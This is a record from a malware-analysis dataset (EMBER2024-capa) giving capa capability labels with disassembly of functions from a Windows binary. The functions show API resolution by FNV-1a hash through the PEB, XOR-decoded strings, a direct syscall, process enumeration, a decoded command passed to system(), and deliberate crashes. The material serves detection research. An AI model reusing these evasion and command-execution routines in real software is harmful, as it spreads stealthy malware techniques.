joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140064ab0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x2b0
mov rax, qword [0x1401161c0]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
xor r14d, r14d
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov dword [rsp + 0x20], 1
cmp qword [rdx + 0x10], r14
je 0x140064c5b
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140064c51
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x8c]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140064b61
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x28]
call fcn.140051840
mov rcx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140064b8b
mov rcx, qword [rsi]
lea r8, [rsp + 0x28]
mov r10, qword [rsp + 0x40]
cmp r10, 7
seta r11b
mov r9, qword [rsp + 0x28]
cmova r8, r9
mov rdx, qword [rsp + 0x38]
cmp rdx, qword [rsi + 0x10]
jne 0x140064bd8
test rdx, rdx
je 0x140064bd4
sub r8, rcx
nop dword [rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140064bd8
add rcx, 2
sub rdx, 1
jne 0x140064bc0
mov bl, 1
jmp 0x140064bda
xor bl, bl
test r11b, r11b
je 0x140064c14
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140064c0c
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140064c8e
mov rcx, r9
call fcn.1400c243c
test bl, bl
je 0x140064c3c
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x140064c2f
mov eax, dword [rsp + 0x68]
mov dword [rdx], eax
add qword [rdi + 8], 4
jmp 0x140064c3c
lea r8, [rsp + 0x68]
mov rcx, rdi
call fcn.140051980
lea rdx, [rsp + 0x60]
mov rcx, rbp
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140064b40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rsi
call fcn.140065d80
mov rax, rdi
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.1400c23e0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
int3
Function at 0x140065a10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x140065a71
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140065a30
mov ecx, dword [r9]
jmp 0x140065b5b
cmp ecx, 0x4e0
jb 0x140065b5b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140065a90
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140065ae0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140065e20
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
sub rsp, 0x40
mov rcx, qword [0x140116c70]
xor r15d, r15d
mov eax, dword [0x140116bf4]
mov dword [0x140116bf0], eax
test rcx, rcx
jne 0x140065fca
mov rax, qword gs:[0x60]
mov r11d, 0xf4d8b55
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov ebp, r15d
mov qword [rsp + 0x38], rsi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov r12, qword [rcx + 0x10]
mov rdi, r12
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test ebp, ebp
je 0x140065ecc
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140065ec4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140065eb0
cmp edx, ebp
jne 0x140065f93
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r14, rcx
mov r10d, ecx
shr r14, 0x20
add r10, r9
cmp r10, r9
je 0x140065f93
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140065f93
mov esi, dword [r10 + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rsi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140065f47
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140065f30
cmp edx, r11d
je 0x140065f53
test r8d, r8d
jne 0x140065f10
jmp 0x140065f93
mov eax, dword [r10 + 0x24]
mov ecx, dword [r10 + 0x1c]
add rax, r9
add rcx, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, r10
jbe 0x140065fa5
lea rax, [r14 + r10]
cmp rcx, rax
jae 0x140065fa5
mov ebp, 0x811c9dc5
mov rdi, r12
mov dword [rsp + 0x58], ebp
mov dword [rsp + 0x5c], ebp
mov r11, qword [rsp + 0x58]
shr r11, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
jne 0x140065e80
mov rcx, r15
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov qword [0x140116c70], rcx
call rcx
mov ecx, dword [0x140116bf0]
mov dword [0x140116bf4], eax
test ecx, ecx
je 0x140066081
sub eax, ecx
cmp eax, 0x1770
jbe 0x140066081
mov byte [rsp + 0x50], 0x44
movabs r10, 0x561630b49854d012
mov byte [rsp + 0x51], 0x7b
mov r9, r10
mov byte [rsp + 0x52], 0x79
mov r11d, reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x53], 0x7d
mov byte [rsp + 0x54], reloc.WS2_32.dll_select
movzx eax, byte [rsp + 0x50]
lea rax, [rsp + 0x50]
sub r9, rax
nop word [rax + rax]
mov rcx, r15
lea rdx, [rsp + 0x50]
add rdx, r15
and ecx, r11d
cmp rcx, r11
mov rax, r10
cmovae rcx, r11
movzx r8d, byte [rdx]
add dl, r9b
shl cl, 2
shr rax, cl
and al, r11b
xor al, dl
xor al, r8b
mov byte [rsp + r15 + 0x50], al
inc r15
cmp r15, 5
jb 0x140066030
lea rcx, [rsp + 0x50]
call fcn.1400690a0
mov qword [0], 1
xor eax, eax
add rsp, 0x40
pop r15
ret
Function at 0x140068e90
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140116cb0]
test rax, rax
jne 0x140069075
xor r10d, r10d
mov dword [rsp + 0x28], r10d
mov eax, 0xfaba0065
mov dword [rsp + 0x24], eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov r11, qword [rcx + 0x10]
mov qword [rsp + 0x48], r11
mov r15, r11
mov qword [rsp + 0x50], r11
mov rcx, r11
nop dword [rax + rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
test r10d, r10d
je 0x140068f46
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
mov qword [rsp + 0x38], rdx
cmp rdx, r9
je 0x140068f3d
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
jmp 0x140068f20
cmp r8d, r10d
jne 0x140069055
mov rbx, qword [r11 + 0x30]
mov qword [rsp + 0x68], rbx
movsxd rcx, dword [rbx + 0x3c]
mov r14, qword [rcx + rbx + 0x88]
mov qword [rsp + 0xa8], r14
mov r9d, r14d
add r9, rbx
mov qword [rsp + 0x70], r9
shr r14, 0x20
mov dword [rsp + 0x78], r14d
cmp r9, rbx
je 0x140069055
mov edi, dword [r9 + 0x18]
mov dword [rsp + 0x20], edi
nop dword [rax + rax]
mov ecx, edi
dec edi
mov dword [rsp + 0x20], edi
test ecx, ecx
je 0x140069055
mov edx, dword [r9 + 0x20]
add rdx, rbx
mov r8d, dword [rdx + rdi*4]
add r8, rbx
mov qword [rsp + 0x40], r8
mov edx, 0x811c9dc5
nop dword [rax + rax]
movsx ecx, byte [r8]
inc r8
mov qword [rsp + 0x40], r8
test cl, cl
jne 0x140069048
cmp edx, eax
jne 0x140069043
mov ecx, dword [r9 + 0x1c]
add rcx, rbx
mov eax, dword [r9 + 0x24]
add rax, rbx
movzx eax, word [rax + rdi*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
cmp rdx, r9
jbe 0x14006906b
lea rax, [r9 + r14]
cmp rdx, rax
jae 0x14006906b
mov r10d, 0x811c9dc5
mov dword [rsp + 0xa0], r10d
mov eax, r10d
mov dword [rsp + 0xa4], eax
mov qword [rsp + 0x30], rdx
cmp byte [rdx], 0x2e
je 0x140069021
inc rdx
jmp 0x140069012
inc rdx
mov qword [rsp + 0x30], rdx
cmp byte [rdx], 0
je 0x140069030
jmp 0x140069021
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], r10d
mov r11, r15
mov qword [rsp + 0x48], r15
jmp 0x140069055
jmp 0x140068f90
xor ecx, edx
imul edx, ecx, 0x1000193
jmp 0x140068fc0
mov r11, qword [r11]
mov rcx, r11
mov qword [rsp + 0x48], r11
cmp r11, r15
jne 0x140068ef0
xor edx, edx
mov qword [0x140116cb0], rdx
mov rax, rdx
mov ecx, 0x13333337
call rax
jmp 0x140069080
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x1400690a0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor r10d, r10d
mov byte [rax - 0x18], 0xe5
movabs rsi, 0x6cb3129f4cd43082
mov byte [rax - 0x17], 0xf9
mov r11, rsi
mov byte [rax - 0x16], 0xf6
mov rbx, rcx
mov byte [rax - 0x15], 0xe9
lea ebp, [r10 + 0xf]
mov byte [rax - 0x14], 0xf0
mov byte [rax - 0x13], 0xaa
mov byte [rax - 0x12], 0xbe
mov byte [rax - 0x11], 0xad
mov byte [rax - 0x10], 0x85
movzx eax, byte [rax - 0x18]
lea rax, [rsp + 0x20]
sub r11, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r10
lea r8, [rsp + 0x20]
add r8, r10
and ecx, ebp
cmp rcx, rbp
mov rdx, rsi
cmovae rcx, rbp
movzx r9d, byte [r8]
lea eax, [r8 + r11]
shl cl, 2
shr rdx, cl
and dl, bpl
xor dl, al
xor dl, r9b
mov byte [rsp + r10 + 0x20], dl
inc r10
cmp r10, 9
jb 0x140069110
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140051100
mov rcx, rax
mov rdx, rbx
call fcn.140051100
lea rdx, [0x1400525b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140069207
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140069207
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140069202
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400691e0
cmp r8d, 0x2fa62ca8
je 0x14006920c
test r9d, r9d
jne 0x1400691c0
mov rax, qword [rax]
jmp 0x140069190
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xbb8
add rax, r10
call rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov qword [0], 1
add rsp, 0x30
pop rdi
ret
Function at 0x1400732f0
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 7
syscall
ret

Function at 0x140073480
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x1400734b4
mov eax, esi
lea ecx, [rax + 0x50]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x1400734a0
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050a00
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400734d9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140073f50
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140073553
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007354e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007354e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140073560
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 9], bl
je 0x140073594
mov ecx, ebx
lea eax, [rcx + 0x50]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x140073580
mov byte [r8 + 9], bl
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.140050a00
nop
cmp byte [rdi + 9], 0
je 0x1400735c4
lea eax, [rbx + 0x50]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, 8
jb 0x1400735b1
mov byte [rdi + 9], 0
lea r8, [rdi + 8]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140050a00
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.140052c10
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140073634
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007362e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007362e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140073674
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007366f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007366f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x140073680
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x1400736b4
mov eax, esi
lea ecx, [rax + 0x50]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x1400736a0
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050a00
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400736d9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140073f50
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140073753
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007374e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007374e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140073760
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x140073794
mov eax, esi
lea ecx, [rax + 0x50]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x140073780
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140050a00
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400737b9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140073f50
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140073833
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007382e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007382e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400738c0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0xa8
xor eax, eax
cmp byte [0x140116cb8], al
jne 0x140073971
movdqa xmm0, xmmword [0x1400cdcb0]
movdqa xmm1, xmmword [0x1400cdc60]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x1400cdc90]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400cdcc0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x1400cdcd0]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmmword [rsp + 0x70], xmm1
mov dword [rsp + 0x90], 0x100d2ce
nop dword [rax]
lea ecx, [rax + 0x50]
xor byte [rsp + rax + 0x40], cl
inc rax
cmp rax, 0x52
jb 0x140073930
lea r9, [rsp + 0xb0]
mov byte [rsp + 0x93], 0
lea r8, [rsp + 0x92]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140050a00
lea rcx, [rsp + 0x20]
call fcn.140073980
add rsp, 0xa8
ret
Function at 0x140073980
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x1401161c0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rbx, rcx
mov qword [rbp + 0x27], rcx
movdqa xmm0, xmmword [0x1400cdca0]
movdqu xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x39], 0x100
xor ecx, ecx
nop dword [rax]
lea eax, [rcx + 0x50]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0x10
jb 0x1400739c0
mov byte [rbp - 0x38], 0
movdqa xmm0, xmmword [str._3__u5:_yu]
movdqu xmmword [rbp - 0x31], xmm0
movdqa xmm1, xmmword [0x1400cdc70]
movdqu xmmword [rbp - 0x21], xmm1
mov dword [rbp - 0x11], 0x53001e02
mov dword [rbp - 0xd], 0x12565352
mov dword [rbp - 9], 0x5b15111b
mov word [rbp - 5], 0x100
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x50]
xor byte [rbp + rcx - 0x31], al
inc rcx
cmp rcx, 0x2c
jb 0x140073a10
mov byte [rbp - 4], 0
mov r8, rbx
lea rdx, [rbp - 0x31]
lea rcx, [rbp + 7]
call fcn.140073320
nop
lea rcx, [rbp - 0x49]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x140073a40
lea rdx, [rbp - 0x49]
mov rcx, rax
call fcn.140066090
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140073ac5
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073ac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073ac0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
lea rcx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0x10
cmovae rcx, qword [rbp + 0x2f]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
int 0x29
mov rdx, qword [rbp + 0x47]
cmp rdx, 0x10
jb 0x140073b1b
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073b16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073b16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c243c
movdqa xmm0, xmmword [0x1400cd5a0]
movdqu xmmword [rbp + 0x3f], xmm0
mov byte [rbp + 0x2f], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140073b62
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140073b5d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140073b92
mov rcx, r8
call fcn.1400c243c
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400c23e0
mov rbx, qword [rsp + 0xd8]
add rsp, 0xc0
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140078ab0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret